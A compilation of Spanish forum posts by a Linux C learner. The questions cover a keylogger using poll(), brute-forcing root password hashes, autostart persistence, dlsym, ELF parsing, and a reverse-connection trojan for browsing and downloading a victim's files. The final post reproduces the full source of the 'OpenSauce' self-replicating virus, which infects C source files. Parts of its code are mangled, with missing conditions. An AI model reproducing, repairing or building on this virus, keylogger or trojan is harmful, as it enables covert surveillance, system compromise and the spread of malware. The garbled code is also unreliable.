Hola!

Estaba trasteando por mi sistema, un Ubuntu, cuando me encontre el siguiente encabezado: poll.h. Me dio curiosidad, y decidi buscar documentacion acerca de esta libreria(si, estaba aburrido ). Encontre y lei esto: http://pubs.opengroup.org/onlinepubs/7908799/xsh/poll.h.html. Entonces he pensado que podia hacer un keylogger simple, y he armado este codigo:

#include <unistd.h>
#include <sys/poll.h>
#include <stdio.h>
 
int main(int argc, char* argv[])
{
  FILE* log = fopen("log.txt", "a");
  struct pollfd input[1];
  input[0].fd = 1;
  input[0].events = POLLIN;
  int event;
  char chevent;
  while(1)
  {
   event = poll(input, 1, 1);
   if(event>=0){
   chevent = event;
   fprintf(log, "%c", chevent);
   fflush(log);}
  }
  return 0;
 
}

El problema es que escribo cuatro o cinco letras, cierro la terminal y el fichero "log.txt" ocupa entre 10 y 15 KBs, y al abrirlo se me queda pillado el editor de texto.
Cuando simplemente imprimo las letras por pantalla funciona perfectamente.

Saludos.

La pregunta es: ¿con que algoritmo estan cifradas las pass en este fichero?¿Como se pueden descifrar? Segun tengo entendido se usan numeros aleatorios en el cifrado, ¿seria viable usar fuerza bruta para obtener acceso como root al sistema?

Saludos.

Hola, veran, me estoy iniciando en ASM en linux, y al ir a mirar la lista de syscalls(http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html) me doy cuenta de que a algunas has de pasarle parametros que son estructuras de C. Mi pregunta es: en ASM, ¿como se pasan parametros que sean estructuras?

Saludos.

Bueno pues me pregunto si existe algo parecido al registro de windows en linux, y como se registrarian aplicaciones en el, para que se inicien al iniciar el ordenador. En mi ubuntu hay una opcion para configurar las aplicaciones que se van a iniciar cuando se inicie el SO, de lo que deduzco que debe haber alguna forma de hacerlo en C/C++, pero no he encontrado nada googleando.

Saludos.

Bueno estoy intentando usar funciones de librerias dinamicas sin hacer un include, y he encontrado un ejemplo en el que se consigue esto en una pagina de documentacion de dlfcn.h(pubs.opengroup.org/onlinepubs/7908799/xsh/dlsym.html). El problema es que he intentado hacer algo similar con una funcion que recibe dos enteros y retorna su suma y no me termina de salir.
Aqui esta el codigo:

#include <iostream>
#include <dlfcn.h>
 
using std::cout;
 
int main()
{
    int a=2, b=3;
    int fptr(int, int);
    void* handle = dlopen("libprueba.so", RTLD_LAZY);
    fptr = (int(int, int))dlsym(handle, "SampleAddInt");
    int c = fptr(a, b);
    cout << c;
    dlclose(handle);
    return 0;
}
 

Este es el contenido de libprueba.so:

int SampleAddInt(int i1, int i2)
    {
        return i1 + i2;
    }

Y el error que me da el compilador es cuando le intento asignar a fptr el resultado de dlsym, me dice conversion invalida al tipo de funcion 'int(int, int)'.
¿Como lo puedo solucionar? Debe de haber alguna manera de realizar la conversion.

Saludos.

Bueno estoy leyendo un codigo que un usuario posteo hace poco y que decia que era un jailbreak de la ps3 o algo asi. Bueno el caso es que hay algunas partes del codigo que no llego a entender. Las dejo aqui por si alguien me puede ayudar.

Antes de poner codigo, aclaro que u8 es un typedef de char, u16 de unsigned short, u32 de unsigned int y u64 de unsigned long long.

La primera:
Aqui aparece la estuctura elf_hdr, no la pongo para no ocupar mas espacio.

int elf_read_hdr(u8 *hdr, struct elf_hdr *h)
{
	int arch64;
	memcpy(h->e_ident, hdr, 16);
	hdr += 16;
 
	arch64 = h->e_ident[4] == 2;
 
	h->e_type = be16(hdr);
	hdr += 2;
	h->e_machine = be16(hdr);
	hdr += 2;
	h->e_version = be32(hdr);
	hdr += 4;
 
	if (arch64) {
		h->e_entry = be64(hdr);
		h->e_phoff = be64(hdr + 8);
		h->e_shoff = be64(hdr + 16);
		hdr += 24;
	} else {
		h->e_entry = be32(hdr);
		h->e_phoff = be32(hdr + 4);
		h->e_shoff = be32(hdr + 8);
		hdr += 12;
	}
 
	h->e_flags = be32(hdr);
	hdr += 4;
 
	h->e_ehsize = be16(hdr);
	hdr += 2;
	h->e_phentsize = be16(hdr);
	hdr += 2;
	h->e_phnum = be16(hdr);
	hdr += 2;
	h->e_shentsize = be16(hdr);
	hdr += 2;
	h->e_shnum = be16(hdr);
	hdr += 2;
	h->e_shtrndx = be16(hdr);
 
	return arch64;
}

Las funciones be16, be32 y be64 estan aqui:

static inline u16 be16(u8 *p)
{
	u16 a;
 
	a  = p[0] << 8;
	a |= p[1];
 
	return a;
}
 
static inline u32 be32(u8 *p)
{
	u32 a;
 
	a  = p[0] << 24;
	a |= p[1] << 16;
	a |= p[2] <<  8;
	a |= p[3] <<  0;
 
	return a;
}
 
static inline u64 be64(u8 *p)
{
	u32 a, b;
 
	a = be32(p);
	b = be32(p + 4);
 
	return ((u64)a<<32) | b;
}

En realidad lo que menos entiendo son las funciones be16, be32 y be64. Y por si alguien va a decirme que no espere que me hagan la tarea, tambien aclaro que esto solo es una parte de un codigo mucho mas grande(foro.elhacker.net/dudas_generales/iquestalguien_me_podria_hacer_el_gran_favor_de_pasar_esto_a_exe-
t368531.0.html).

Saludos.

 Bueno estoy intentando leer el Elf header de un archivo ELF, para obtener una estructura Elf32_Ehdr, y obtener todos los datos de una .so(libreria dinamica) que vienen definidos en esta estructura, para luego poder poder ejecutarla. ¿Esto se podria hacer abriendola en modo binario con fopen()?. Espero que alguien me pueda orientar un poco con este tema.

Saludos.

PD: Esta estructura y otras relacionadas con el formato ELF vienen definidas en elf.h

EDIT: He encontrado esto, en el xploit de abo2.c se obtienen las secciones(y el elf header) usando fread, pero no se muy bien porque lo hace asi:(
www.govannom.org/e-zines/netsearch/ns008/ns8-0x04.txt

Bueno mi problema es que estaba buscando la forma de implementar una conexion con una libreria de sockets multiplataforma, y descargue tanto las librerias de happycoders como las de boost. Al intentar compilar no hace falta que enlace con ninguna de las dos, el g++ las encuentra, pero me lanza varios errores en las librerias, incluso si copio y pego los ejemplos de las webs. ¿Alguien sabe porque pasa esto?¿Puede ser que me falten dependencias en ubuntu?

Saludos.

Bueno pues resulta que estoy haciendo un mini-troyano por asi decirlo, sin interfaz grafica, con el objetivo de que sea ligero, rapido y usable, y estoy usando para las conexiones la libreria sys/socket.h. La idea es que te permita explorar los directorios y archivos, abrirlos, modificarlos y descargarlos. Y el problema que como es de conexion inversa no se como hacer para configurar el servidor para que se conecte al ordenador en el que se haya ejecutado la primera vez, o en el que se haya configurado, sin utilizar un archivo de texto externo, o hacer la brutalidad de almacenar el codigo fuente del server en un array, obtener la IP del equipo local y compilarlo configurado.
¿Alguien sabe como se suelen hacer estas cosas?

Saludos y gracias de antemano.

Bueno estaba desvelado leyendo un articulo cuando me encontre esto en mitad de un codigo. ¿Alguien me exolica que es?

<--------------------->
<----opensauce.c------>
<--------------------->
 
/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert <zert@int80h.net>
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>
 
void virus();
 
int main(int argc, char *argv[]) {
  virus();
}
 
void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";
 
  /* scan for hosts in current dir */
  dd = opendir(".");
  while>0)//Aqui
      if>=0) {//Y Aqui
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while>0) {
              if( >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
<---------------------->
<--end of-opensauce.c-->
<---------------------->
 

Donde pone aqui y aqui se usan dos condiciones muy raras.

Saludos.

PD: Lo saque de http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/